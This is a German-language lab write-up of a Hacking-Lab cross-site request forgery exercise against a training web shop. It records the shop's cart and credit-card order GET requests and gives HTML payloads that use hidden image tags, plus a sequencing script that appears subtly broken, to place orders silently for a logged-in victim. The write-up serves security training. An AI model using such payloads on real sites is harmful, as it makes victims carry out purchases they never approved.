edit

2651 Cross Site Request Forgery

Analyse

  • Requests mit eingeloggtem User per ZAP Proxy abfangen
  • Das Hinzufügen zum Warenkorb geschieht mit GET und Query-Parameter
GET http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=10&Submit=Order
  • Beim Absenden der Bestellung wird ein GET auf
 http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder

ausgeführt

Exploit

Auf der Landing Page erstellen wir eine HTML-Seite, damit der Browser per <img>-Tag die beiden GET-Requests ausführt

<html>
<body>
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=20&Submit=Order" height="1" width="1"/>
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder" height="1" width="1"/>
</body>
</html>
  • Dies funktioniert aber nicht richtig, da die beiden Bilder parallel geladen werden. Zuerst muss der erste Request abgeschlossen sein, bis der zweite beginnen kann
<html>
<head>
<script type="text/javascript">
    var loadSecond = function() {
        document.location="order.html";
    }
    var img = document.images[0];
    img.addEventListener("load", loadSecond, false);
</script>
</head>
<body>
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=20&Submit=Order" height="1" width="1"/>
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder" height="1" width="1"/>
</body>